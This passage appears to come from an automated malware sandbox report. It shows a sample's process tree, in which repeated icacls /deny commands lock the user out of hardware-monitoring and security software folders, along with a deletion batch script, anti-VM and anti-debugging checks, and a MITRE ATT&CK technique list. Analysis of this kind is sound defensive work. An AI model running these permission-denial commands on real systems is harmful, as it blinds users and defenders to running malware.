      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpeedFan" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5864
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\SpeedFan" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:3676
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GPU Temp" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3480
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\GPU Temp" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\CPUID\HWMonitor" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3948
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\CPUID\HWMonitor" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:4360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\MSI\MSI Center" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5000
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\MSI\MSI Center" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\QuickCPU" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5172
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\QuickCPU" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3656
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\program files\NETGATE" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4776
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\program files\NETGATE" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Users\Admin\AppData\Local\Programs\transmission /deny %username%:(OI)(CI)F
      4⤵
      PID:5388
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Programs\transmission /deny Admin:(OI)(CI)F
        5⤵
        Modifies file permissions
        
        PID:3164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Users\Admin\AppData\Roaming\Sysfiles /deny %username%:(OI)(CI)F
      4⤵
      PID:1736
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Roaming\Sysfiles /deny Admin:(OI)(CI)F
        5⤵
        Modifies file permissions
        
        PID:5344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor /deny %username%:(OI)(CI)F
      4⤵
      PID:1624
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor /deny Admin:(OI)(CI)F
        5⤵
        Modifies file permissions
        
        PID:824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Programdata\Install\Del3.bat
      4⤵
      PID:5276
    - - C:\Windows\system32\timeout.exe
        
        timeout 5
        5⤵
        Delays execution with timeout.exe
        
        PID:6092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:2672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
PID:1516

C:\Windows\SysWOW64\unsecapp.exe
C:\Windows\SysWOW64\unsecapp.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3536

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4748

C:\Windows\SysWOW64\unsecapp.exe
C:\Windows\SysWOW64\unsecapp.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4324

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

System Information Discovery